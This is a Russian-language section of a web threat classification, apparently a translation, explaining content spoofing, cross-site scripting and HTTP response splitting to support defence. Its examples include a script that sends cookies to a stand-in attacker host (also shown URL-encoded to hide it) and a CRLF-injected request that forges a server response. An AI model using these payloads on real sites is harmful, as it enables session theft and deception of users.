

### 3. Атаки на клиентов (Client-side Attacks)

---

Этот раздел описывает атаки на пользователей Web-сервера. Во время посещения сайта, между пользователем и сервером устанавливаются доверительные отношения, как в технологическом, так и в психологическом аспектах. Пользователь ожидает, что сайт предоставит ему легитимное содержимое. Кроме того, пользователь не ожидает атак со стороны сайта. Эксплуатируя это доверие, злоумышленник может использовать различные методы для проведения атак на клиентов сервера.

#### 3.1. Подмена содержимого (Content Spoofing)

Используя эту технику, злоумышленник заставляет пользователя поверить, что страницы сгенерированы Web-сервером, а не переданы из внешнего источника.

Некоторые Web-страницы создаются с использованием динамических источников HTML-кода. К примеру, расположение фрейма (`<frame src="http://foo.example/file.html">`) может передаваться в параметре URL (`http://foo.example/page?frame_src=http://foo.example/file.html`).

Атакующий может заменить значение параметра `"frame_src"` на `"frame_src=http://attacker.example/spoof.html"`. Когда будет отображаться результирующая страница, в строке адреса браузера пользователя будет отображаться адрес сервера (`foo.example`), но так же на странице будет присутствовать внешнее содержимое, загруженное с сервера атакующего (`attacker.example`), замаскированное под легальный контент.

Специально созданная ссылка может быть прислана по электронной почте, системе моментального обмена сообщениями, опубликована на доске сообщений или открыта в браузере пользователе с использованием межсайтового выполнения сценариев. Если атакующий спровоцировал пользователя на переход по специально созданной ссылке, у пользователя может создаться впечатление, что он просматривает данные с сервера, в то время как часть их была сгенерирована злоумышленником.

Таким образом, произойдет "дефэйс" сайта `http://foo.example` на стороне пользователя, поскольку содержимое сервера будет загружено с сервера `http://attacker.example`. Эта атака так же может использоваться для создания ложных страниц, таких как формы ввода пароля, пресс-релизы и т.д.

#### *Пример:*

Создание ложного пресс-релиза. Предположим, что Web-сервер динамически генерирует фреймы на странице с пресс-релизами компании. Когда пользователь перейдет по ссылке

`http://foo.example/pr?pg=http://foo.example/pr/01012003.html` в его браузер загрузится страница следующего содержания:

Пример кода:

```
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content" SRC="http://foo.example/pr/01012003.html">
</FRAMESET>
</HTML>
```

Приложение `"pr"` создает страницу с меню и динамически генерируемым значением тега `FRAME SRC`. Фрейм `"pr_content"` отображает страницу, указанную в параметре `"pg"` HTTP-запроса. Но поскольку атакующий изменил нормальный URL на значение

`http://foo.example/pr?pg=http://attacker.example/spoofed_press_release.html` и сервер не проводит проверки параметра "pg", результирующий HTML код будет иметь следующий вид:

```
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content" SRC="http://attacker.example/spoofed_press_release.html">
</FRAMESET>
</HTML>
```

Для конечного пользователя содержимое, загруженное с сервера "attacker.example" будет выглядеть, как страница сервера "foo.example".

#### **Ссылки:**

"A new spoof: all frames-based sites are vulnerable" - SecureXpert Labs  
<http://tbtf.com/archive/11-17-98.html#s02>

### **3.2. Межсайтовое выполнение сценариев (Cross-site Scripting, XSS)**

Наличие уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код, который будет перенаправлен браузеру пользователя. Этот код обычно создается на языках HTML/JavaScript, но могут быть использованы VBScript, ActiveX, Java, Flash, или другие поддерживаемые браузером технологии.

Передаваемый код выполняется в контексте безопасности (или зоне безопасности) уязвимого сервера. Используя эти привилегии, код получает возможность читать, модифицировать или передавать важные данные, доступные с помощью браузера. У атакованного пользователя может быть скомпрометирован аккаунт (кража cookie), его браузер может быть перенаправлен на другой сервер или осуществлена подмена содержимого сервера. В результате тщательно спланированной атаки злоумышленник может использовать браузер жертвы для просмотра страниц сайта от имени атакуемого пользователя. Код может передаваться злоумышленником в URL, в заголовках HTTP запроса (cookie, user-agent, refferer), значениях полей форм и т.д.

Существует два типа атак, приводящих к межсайтовому выполнению сценариев: постоянные (сохраненные) и непостоянные (отраженные). Основным отличием между ними является то, что в отраженном варианте передача кода серверу и возврат его клиенту осуществляется в рамках одного HTTP-запроса, а в хранимом - в разных.

Осуществление непостоянной атаки требует, чтобы пользователь перешел по ссылке, сформированной злоумышленником (ссылка может быть передана по email, ICQ и т.д.). В процессе загрузки сайта код, внедренный в URL или заголовки запроса будет передан клиенту и выполнен в его браузере. Сохраненная разновидность уязвимости возникает, когда код передается серверу и сохраняется на нем на некоторый промежуток времени. Наиболее популярными целями атак в этом случае являются форумы, почта с Web-интерфейсом и чаты. Для атаки пользователю не обязательно переходить по ссылке, достаточно посетить уязвимый сайт.

#### **Примеры:**

Сохраненный вариант атаки

Многие сайты имеют доски объявлений и форумы, которые позволяют пользователям оставлять сообщения. Зарегистрированный пользователь обычно идентифицируется по номеру сессии, сохраняемому в cookie. Если атакующий оставит сообщение, содержащее код на языке JavaScript, он получит доступ к идентификатору сессии пользователя.

Пример кода для передачи cookie:

```
<SCRIPT>document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</SCRIPT>
```

#### Отраженный вариант атаки

Многие серверы предоставляют пользователям возможность поиска по содержимому сервера. Как правило, запрос передается в URL и содержится в результирующей странице.

К примеру, при переходе по URL <http://portal.example/search?q=fresh beer> пользователю будет отображена страница, содержащая результаты поиска и фразу:

"По вашему запросу fresh beer найдено 0 страниц". Если в качестве искомой фразы будет передан Javascript, он выполнится в браузере пользователя.

#### **Пример:**

[http://portal.example/search/?q=<script>alert\("xss"\)</script>](http://portal.example/search/?q=<script>alert('xss')</script>)

Для сокрытия кода сценария может быть использована кодировка URLEncode

<http://portal.example/index.php?sessionid=12312312&username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E>

#### **Ссылки:**

"CERT© Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests"  
<http://www.cert.org/advisories/CA-2000-02.html>

"The Cross Site Scripting FAQ" - CGISecurity.com  
<http://www.cgisecurity.com/articles/xss-faq.shtml>

Cross Site Scripting Info  
<http://httpd.apache.org/info/css-security/>

Character entity references in HTML 4  
<http://www.w3.org/TR/html4/sgml/entities.html>

"Understanding Malicious Content Mitigation for Web Developers"  
[http://www.cert.org/tech\\_tips/malicious\\_code\\_mitigation.html](http://www.cert.org/tech_tips/malicious_code_mitigation.html)

Cross-site Scripting: Are your web applications vulnerable?", By Kevin Spett - SPI Dynamics  
<http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf>

"Cross-site Scripting Explained", By Amit Klein – Sanctum  
[http://www.sanctuminc.com/pdf/WhitePaper\\_CSS\\_Explained.pdf](http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf)

"HTML Code Injection and Cross-site Scripting", By Gunter Ollmann  
<http://www.technicalinfo.net/papers/CSS.html>

#### **Русскоязычные ссылки:**

"XSS без XSS". By Marsel [marsel roses.ru] aka Phoenix  
<http://www.securitylab.ru/contest/212115.php>

### 3.3. Расщепление HTTP-запроса (HTTP Response Splitting)

При использовании данной уязвимости злоумышленник посылает серверу специальным образом сформированный запрос, ответ на который интерпретируется целью атаки как два разных ответа. Второй ответ полностью контролируется злоумышленником, что дает ему возможность подделать ответ сервера.

В реализации атак с расщеплением HTTP-запроса участвуют как минимум три стороны:

- Web-сервер, содержащий подобную уязвимость.
- Цель атаки, взаимодействующая с Web-сервером под управлением злоумышленника. Типично в качестве цели атаки выступает кэширующий сервер-посредник или кэш браузера.
- Атакующий, инициирующий атаку.

Возможность осуществления атаки возникает, когда сервер возвращает данные, предоставленные пользователем в заголовках HTTP ответа. Обычно это происходит при перенаправлении пользователя на другую страницу (коды HTTP 3xx) или когда данные, полученные от пользователя, сохраняются в cookie.

В первой ситуации URL, на который происходит перенаправление, являются частью заголовка Location HTTP ответа, а во втором случае значение cookie передается в заголовке Set-Cookie.

Основой расщепления HTTP-запроса является внедрение символов перевода строки (CR и LF) таким образом, чтобы сформировать две HTTP транзакции, в то время как реально будет происходить только одна. Перевод строки используется для того, что бы закрыть первую (стандартную) транзакцию и сформировать вторую пару вопрос/ответ, полностью контролируемую злоумышленником и абсолютно непредусмотренную логикой приложения.

В результате успешной реализации этой атаки злоумышленник может выполнить следующие действия:

- Межсайтовое выполнение сценариев.
- Модификация данных кэша сервера-посредника. Некоторые кэширующие серверы-посредники (Squid 2.4, NetCache 5.2, Apache Proxy 2.0 и ряд других), сохраняют подделанный злоумышленником ответ на жестком диске и на последующие запросы пользователей по данному адресу возвращают кэшированные данные. Это приводит к замене страниц сервера на клиентской стороне. Кроме этого, злоумышленник может переправить себе значение Cookie пользователя или присвоить им определенное значение. Так же эта атака может быть направлена на индивидуальный кэш браузера пользователя.
- Межпользовательская атака (один пользователь, одна страница, временная подмена страницы). При реализации этой атаки злоумышленник не посылает дополнительный запрос. Вместо этого используется тот факт, что некоторые серверы-посредники разделяют одно TCP-соединение к серверу между несколькими пользователями. В результате второй пользователь получает в ответ страницу, сформированную злоумышленником. Кроме подмены страницы злоумышленник может также выполнить различные операции с cookie пользователя.
- Перехват страниц, содержащих пользовательские данные. В этом случае злоумышленник получает ответ сервера вместо самого пользователя. Таким образом, он может получить доступ к важной или конфиденциальной информации.

#### **Пример:**

Ниже приведен пример JSP страницы /redir\_lang.jsp

```
<%  
response.sendRedirect("/by_lang.jsp?lang="+  
request.getParameter("lang"));  
%>
```

Когда данная страница вызывается пользователем с параметром lang=English, она направляет его браузер на страницу /by\_lang.jsp?lang=English. Типичный ответ сервера выглядит следующим образом (используется сервер BEA WebLogic 8.1 SP1):

HTTP/1.1 302 Moved Temporarily  
Date: Wed, 24 Dec 2003 12:53:28 GMT  
Location: http://10.1.1.1/by\_lang.jsp?lang=English  
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003  
271009 with  
Content-Type: text/html  
Set-Cookie:  
JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXj  
ApqwBE!-1251019693; path=/  
Connection: Close

```
<html><head><title>302 Moved Temporarily</title></head>
<body bgcolor="#FFFFFF">
<p>This document you requested has moved temporarily.</p>
<p>It's now at <a
href="http://10.1.1.1/by_lang.jsp?lang=English">http://10.1.1.1/by_lang.jsp?lan
g=English</a>.</p>
</body></html>
```

При анализе ответа видно, что значение параметра lang передается в значении заголовка Location. При реализации атаки злоумышленник посылает в качестве значения lang символы перевода строки, для того, чтобы закрыть ответ сервера и сформировать ещё один:

```
/redir_lang.jsp?lang=foobar%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2019%0d%0a%0d%0a<html>Shazam</html>
```

При обработке этого запроса сервер передаст следующие данные:

HTTP/1.1 302 Moved Temporarily  
Date: Wed, 24 Dec 2003 15:26:41 GMT  
Location: http://10.1.1.1/by\_lang.jsp?lang=foobar  
Content-Length: 0

HTTP/1.1 200 OK  
Content-Type: text/html  
Content-Length: 19

```
<html>Shazam</html>
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003
271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pwxbgHwzealIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST
9UsS!-1251019693; path=/
[...]
```

Эти данные будут обработаны клиентом следующим образом:

- Первый ответ с кодом 302 будет командой перенаправления.
- Второй ответ (код 200) объемом в 19 байт будет считаться содержимым той страницы, на которое происходит перенаправление.
- Остальные данные, согласно спецификации HTTP, игнорируются клиентом.

***Ссылки:***

"Divide and Conquer - HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics"  
by Amit Klein,

[http://www.sanctuminc.com/pdf/whitepaper\\_httpresponse.pdf](http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf)

"CRLF Injection" by Ulf Harnhammar (BugTraq posting),

<http://www.securityfocus.com/archive/1/271515>

***Русскоязычные ссылки:***

HTTP REQUEST SMUGGLING,

<http://www.securitylab.ru/analytics/216403.php>

<http://www.securitylab.ru/analytics/216404.php>